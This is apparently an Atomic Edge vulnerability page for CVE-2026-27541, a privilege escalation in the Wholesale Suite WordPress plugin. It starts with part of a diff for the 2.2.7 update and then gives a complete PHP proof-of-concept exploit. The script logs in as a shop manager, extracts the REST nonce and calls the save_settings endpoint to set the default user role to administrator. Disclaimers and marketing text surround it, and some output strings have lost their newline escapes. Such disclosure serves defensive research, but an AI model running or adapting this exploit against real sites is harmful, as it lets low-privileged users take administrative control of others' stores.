+        $cache_key = 'wwp_price_range_' . $role_key . '_' . strtolower( $aggregate );
+        $cached    = get_transient( $cache_key );
+
+        if ( false !== $cached ) {
+            return $cached;
+        }
+
+        global $wpdb;
+
+        $is_max   = 'MAX' === strtoupper( $aggregate );
+        $sql_func = $is_max ? 'MAX' : 'MIN';
+        $meta_key = $role_key . '_wholesale_price';
+
+        // Get min/max per-product wholesale price.
+        // phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared
+        $per_product_price = $wpdb->get_var(
+            $wpdb->prepare(
+                "SELECT {$sql_func}(CAST(pm.meta_value AS DECIMAL(10,2)))
+                FROM {$wpdb->postmeta} pm
+                INNER JOIN {$wpdb->posts} p ON p.ID = pm.post_id
+                WHERE pm.meta_key = %s
+                AND pm.meta_value > 0
+                AND p.post_status = 'publish'",
+                $meta_key
+            )
+        );
+        // phpcs:enable WordPress.DB.PreparedSQL.InterpolatedNotPrepared
+
+        $prices = array();
+
+        if ( null !== $per_product_price ) {
+            $prices[] = (float) $per_product_price;
+        }
+
+        // Also consider retail prices with general discount applied.
+        $general_discount = self::get_general_discount_for_role( $role_key );
+
+        if ( $general_discount > 0 ) {
+            $multiplier = 1 - ( $general_discount / 100 );
+
+            if ( $multiplier > 0 ) {
+                // phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared
+                $retail_price = $wpdb->get_var(
+                    $wpdb->prepare(
+                        "SELECT {$sql_func}(CAST(pm.meta_value AS DECIMAL(10,2)))
+                        FROM {$wpdb->postmeta} pm
+                        INNER JOIN {$wpdb->posts} p ON p.ID = pm.post_id
+                        WHERE pm.meta_key = %s
+                        AND pm.meta_value > 0
+                        AND p.post_status = 'publish'",
+                        '_price'
+                    )
+                );
+                // phpcs:enable WordPress.DB.PreparedSQL.InterpolatedNotPrepared
+
+                if ( null !== $retail_price ) {
+                    $prices[] = (float) $retail_price * $multiplier;
+                }
+            }
+        }
+
+        /**
+         * Filter the wholesale price range values for the price filter widget.
+         *
+         * Allows premium plugins to include category-level or other custom pricing.
+         *
+         * @since 2.2.7
+         *
+         * @param array  $prices    Array of candidate prices.
+         * @param string $role_key  The wholesale role key.
+         * @param string $aggregate 'MIN' or 'MAX'.
+         */
+        $prices = apply_filters( 'wwp_wholesale_price_filter_widget_prices', $prices, $role_key, $aggregate );
+
+        if ( empty( $prices ) ) {
+            return null;
+        }
+
+        $result = 'MIN' === $aggregate ? min( $prices ) : max( $prices );
+
+        set_transient( $cache_key, $result, HOUR_IN_SECONDS );
+
+        return $result;
+    }
+
+    /**
+     * Clear cached wholesale price range transients.
+     *
+     * Called when products are saved or wholesale prices are updated,
+     * ensuring the price filter widget reflects current data.
+     *
+     * @since 2.2.7
+     *
+     * @return void
+     */
+    public static function clear_wholesale_price_range_cache() {
+
+        $wholesale_roles = WWP_Wholesale_Roles::getInstance();
+        $all_roles       = $wholesale_roles->getAllRegisteredWholesaleRoles();
+
+        foreach ( array_keys( $all_roles ) as $role_key ) {
+            delete_transient( 'wwp_price_range_' . $role_key . '_min' );
+            delete_transient( 'wwp_price_range_' . $role_key . '_max' );
+        }
+    }
+
     /**
      * Execute model.
      *
@@ -1863,6 +2130,14 @@
         // Modify WooCommerce Shortcode Filtering for Compatibility with the HUSKY – WooCommerce Products Filter Plugin, Filter Products by Price.
         add_filter( 'woocommerce_shortcode_products_query', array( $this, 'woocommerce_shortcode_products_query' ), 99999, 3 );

+        // Adjust price filter widget min/max range to use wholesale prices for wholesale customers.
+        add_filter( 'woocommerce_price_filter_widget_min_amount', array( $this, 'wholesale_price_filter_widget_min_amount' ), 10, 1 );
+        add_filter( 'woocommerce_price_filter_widget_max_amount', array( $this, 'wholesale_price_filter_widget_max_amount' ), 10, 1 );
+
+        // Clear wholesale price range cache when products are updated.
+        add_action( 'woocommerce_update_product', array( __CLASS__, 'clear_wholesale_price_range_cache' ) );
+        add_action( 'update_option_wwpp_option_wholesale_role_general_discount_mapping', array( __CLASS__, 'clear_wholesale_price_range_cache' ) );
+
         // Register the option for translation.
         add_filter( 'pre_update_option', array( $this, 'wwp_wpml_translatable_options' ), 100, 2 );
     }
--- a/woocommerce-wholesale-prices/woocommerce-wholesale-prices.bootstrap.php
+++ b/woocommerce-wholesale-prices/woocommerce-wholesale-prices.bootstrap.php
@@ -5,7 +5,7 @@
  * Plugin URI:           https://wholesalesuiteplugin.com
  * Description:          WooCommerce Extension to Provide Wholesale Prices Functionality
  * Author:               Rymera Web Co
- * Version:              2.2.6
+ * Version:              2.2.7
  * Author URI:           http://rymera.com.au/
  * Text Domain:          woocommerce-wholesale-prices
  * Requires at least:    5.2
--- a/woocommerce-wholesale-prices/woocommerce-wholesale-prices.plugin.php
+++ b/woocommerce-wholesale-prices/woocommerce-wholesale-prices.plugin.php
@@ -111,7 +111,7 @@
     public $wwp_plugin_installer;
     // phpcs:enable

-    const VERSION = '2.2.6';
+    const VERSION = '2.2.7';

     /**
      * Class Methods

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-27541 - Wholesale Suite <= 2.2.6 - Authenticated (Shop Manager) Privilege Escalation

<?php

$target_url = 'http://vulnerable-site.com';
$username = 'shop_manager_user';
$password = 'shop_manager_pass';

// Step 1: Authenticate as Shop Manager to obtain WordPress nonce and cookies
$login_url = $target_url . '/wp-login.php';
$admin_url = $target_url . '/wp-admin/';

// Create a temporary cookie file
$cookie_file = tempnam(sys_get_temp_dir(), 'cve_2026_27541');

// Initialize cURL session for authentication
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $admin_url,
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 1);
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Extract the REST API nonce from admin page
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$admin_page = curl_exec($ch);
curl_close($ch);

// Look for the wholesale REST API nonce in the page
preg_match('/"wholesaleRestNonce":"([a-f0-9]+)"/', $admin_page, $matches);
if (empty($matches[1])) {
    echo "[-] Failed to extract REST API noncen";
    unlink($cookie_file);
    exit(1);
}

$rest_nonce = $matches[1];
echo "[+] Extracted REST nonce: $rest_noncen";

// Step 3: Exploit the vulnerability via the save_settings endpoint
// The vulnerable endpoint allows Shop Managers to modify WordPress options
// We'll attempt to change the default user role to administrator
$exploit_url = $target_url . '/wp-json/wholesale/v1/save_settings';

$payload = json_encode([
    [
        'key' => 'wwp_default_role',  // Matches the wwp_ prefix pattern
        'value' => 'administrator'    // Value to set
    ]
]);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/json',
    'X-WP-Nonce: ' . $rest_nonce
]);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 1);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Clean up cookie file
unlink($cookie_file);

// Step 4: Verify exploitation
if ($http_code === 200 && strpos($response, '"status":"success"') !== false) {
    echo "[+] SUCCESS: Privilege escalation likely successfuln";
    echo "[+] The default role has been modified to administratorn";
    echo "[+] Response: " . $response . "n";
} else {
    echo "[-] Exploitation failedn";
    echo "[-] HTTP Code: $http_coden";
    echo "[-] Response: " . $response . "n";
}

// Note: Additional verification would require checking if the user's role
// was actually elevated, which may require creating a new user or checking
// current user capabilities via another API call.

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School